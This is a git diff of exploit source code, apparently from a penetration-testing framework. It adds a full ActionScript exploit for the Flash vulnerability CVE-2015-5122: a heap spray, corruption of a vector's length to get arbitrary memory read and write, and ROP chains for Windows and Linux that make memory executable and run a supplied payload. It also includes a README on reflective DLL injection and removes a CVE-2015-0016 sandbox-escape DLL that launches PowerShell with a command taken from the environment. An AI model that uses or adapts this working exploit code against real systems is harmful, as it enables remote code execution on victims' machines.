platform = LoaderInfo(this.root.loaderInfo).parameters.pl
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
removeEventListener(Event.ADDED_TO_STAGE, init);
MyClass.TryExpl(this, platform, payload, 1)
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,75 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint
public function ExploitVector(v:Vector.<uint>, length:uint)
{
uv = v
original_length = length
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,367 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var magic:uint
private var magic_arg0:uint
private var magic_arg1:uint
private var magic_object:uint
private var magic_table:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stub_address:uint
private var stub_space_object:uint
private var stub:Vector.<uint> = new Vector.<uint>(8)
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
{
exploit = exp
payload = p
platform = pl
ev = new ExploitVector(uv, uv_length)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
static function Magic(...a){}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
// mov eax,[esp+0x4]
// xchg eax,esp
// rets
stub[0] = 0x0424448B
stub[1] = 0x0000C394
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
spray[i][4] = Magic
spray[i][5] = stub
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
magic = ev.at(pos + 4) - 1
stub_space_object = ev.at(pos + 5) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
stub_address = ev.read(stub_space_object + 0x18)
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
magic_table = ev.read(magic_object)
magic_arg0 = ev.read(magic + 0x1c)
magic_arg1 = ev.read(magic + 0x20)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
do_rop_windows()
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake stack on memory
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
for (var i:uint; i < 0x100; i++) {
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
}
// VirtualProtect the stub with a *reliable* stackpivot
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stub_address)
eba.write(magic + 0x20, 0x10)
var args:Array = new Array(0x41)
Magic.call.apply(null, args);
// Call to our stackpivot and init the rop chain
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
eba.write(magic + 0x1c, stack_address + 0x18000)
Magic.call.apply(null, null);
eba.write(magic_object, magic_table);
eba.write(magic + 0x1c, magic_arg0)
eba.write(magic + 0x20, magic_arg1)
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -0,0 +1,150 @@
package
{
import flash.display.DisplayObjectContainer;
import flash.utils.ByteArray;
import flash.system.Capabilities;
import flash.events.MouseEvent;
import flash.external.ExternalInterface;
import flash.text.*;
import flash.text.*;
import flash.text.engine.*;
public class MyClass
{
static var
_gc:Array,
_ar:Array,
_ar_reuse:Array,
_ar_text_line:Array,
_arLen:int,
_ar_reuseLen:int,
_ar_text_lineLen:int,
_vu:Vector.<uint>,
_tb:TextBlock,
_mc:MyClass,
_cnt:int,
_vLen:int,
LEN40:uint = 0x40000000;
static function valueOf2()
{
try
{
if (++_cnt < _ar_text_lineLen) {
//recursive call for next TextLine
_ar_text_line[_cnt].opaqueBackground = _mc;
} else {
for(var i:int = 1; i <= 19; i++)
_tb.recreateTextLine(_ar_text_line[_ar_text_lineLen - i]);
// reuse freed memory
for(i=0; i < _ar_reuseLen; i++)
_ar_reuse[i].length = _vLen;
}
}
catch (e:Error)
{
Logger.log("valueOf2 " + e.toString());
}
return _vLen+8;
}
static function TryExpl(e:Exploit, platform:String, payload:ByteArray, try_number:uint)
{
if (try_number > 3)
return
try
{
// init vars
Logger.log("init vars")
_arLen = 30
_ar_text_lineLen = 50
_ar_reuseLen = 80
_ar = new Array(_arLen);
_ar_text_line = new Array(_ar_text_lineLen)
_ar_reuse = new Array(_ar_reuseLen)
if (!_gc) _gc = new Array();
_gc.push(_ar);
_gc.push(_ar_text_line);
_gc.push(_ar_reuse);
if (!_tb) {
_tb = new TextBlock(new TextElement("TextElement", new ElementFormat()));
if (!_tb) throw new Error("_tb = " + _tb);
}
_mc = new MyClass();
_vLen = 400/4-2;
// fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)
Logger.log("fill 400-byte holes (400 is factor of 0x320(800) opaqueBackground corruption offset)")
for(var i:uint = 0; i < _arLen; i++)
_ar[i] = new Vector.<uint>(_vLen)
// prepare Vector objects
Logger.log("prepare Vector objects")
for(i = 0; i < _ar_reuseLen; i++) {
_ar_reuse[i] = new Vector.<uint>(8);
_ar_reuse[i][0] = i;
_ar_reuse[i][1] = 0xdeedbeef
}
// prepare TextLines
Logger.log("prepare TextLines")
for(i = 0; i < _ar_text_lineLen; i++)
_ar_text_line[i] = _tb.createTextLine()
// fill 1016-byte holes (0x38c is a size of internal TextLine object)
Logger.log("fill 1016-byte holes (0x38c is a size of internal TextLine object)")
for(i = 0; i < _ar_text_lineLen; i++)
_ar_text_line[i].opaqueBackground = 1 // alloc 1016 bytes
// set custom valueOf() for _mc
Logger.log("set custom valueOf() for _mc")
MyClass.prototype.valueOf = valueOf2
// here we go, call the vulnerable setter
Logger.log("here we go, call the vulnerable setter")
//_cnt = _ar_text_lineLen - 6
_cnt = _ar_text_lineLen - 20
_ar_text_line[_cnt].opaqueBackground = _mc
// find corrupted vector length
Logger.log("find corrupted vector length ")
for(i=0; i < _ar_reuseLen; i++) {
_vu = _ar_reuse[i];
if (_vu.length > _vLen+2) {
Logger.log("ar["+i.toString()+"].length = " + _vu.length.toString(16));
Logger.log("ar["+i.toString()+"]["+_vLen.toString(16)+"] = " + _vu[_vLen].toString(16));
if (_vu[_vLen] == _vLen) {
// corrupt next vector
_vu[_vLen] = LEN40;
// get corrupted vector
_vu = _ar_reuse[_vu[_vLen+2]];
break;
}
};// else CheckCorrupted(_vu, i); // 4RnD
}
// check results
Logger.log("v.length = " + _vu.length.toString(16));
if (_vu.length < LEN40) throw new Error("try again");
var exploiter:Exploiter = new Exploiter(e, platform, payload, _vu, 0x62)
}
catch (err:Error)
{
Logger.log("TryExpl " + err.toString());
if (err.toString().indexOf("try again") != -1) {
MyClass.TryExpl(e, platform, payload, try_number + 1)
}
}
}
}
}

72
external/source/exploits/CVE-2015-5122/PE.as vendored Executable file
View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,16 @@
Release/
Debug/
x64/
dll/Release/
dll/Debug/
dll/reflective_dll.vcproj.*.user
dll/reflective_dll.vcxproj.user
inject/Release/
inject/Debug/
inject/inject.vcproj.*.user
inject/inject.vcxproj.user
rdi.ncb
rdi.suo
rdi.sdf
rdi.opensdf
rdi.v11.suo

View File

@ -0,0 +1,25 @@
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,40 @@
About
=====
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
* The library's headers and sections are loaded into their new locations in memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -1,22 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,48 +0,0 @@
========================================================================
DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview
========================================================================
AppWizard has created this cve-2015-0016 DLL for you.
This file contains a summary of what you will find in each of the files that
make up your cve-2015-0016 application.
cve-2015-0016.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
cve-2015-0016.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
cve-2015-0016.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named cve-2015-0016.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////

View File

@ -1,46 +0,0 @@
// MyExploit.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
#include <objbase.h>
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
#define MAX_ENV 32767
bstr_t GetEnv(LPCSTR env)
{
CHAR buf[MAX_ENV];
GetEnvironmentVariable(env, buf, MAX_ENV);
return buf;
}
void DoTSWbPrxyExploit() {
HRESULT hr;
IMSTSWebProxy *pUnk;
CHAR cmdline[] = "TSWbPrxy.exe";
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
if (hr == 0)
return;
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
if (hr != 0)
return;
pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD"));
pUnk->Release();
}
DWORD CALLBACK ExploitThread(LPVOID hModule)
{
CoInitialize(nullptr);
DoTSWbPrxyExploit();
CoUninitialize();
FreeLibraryAndExitThread((HMODULE)hModule, 0);
}

View File

@ -1,105 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>cve20150016</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
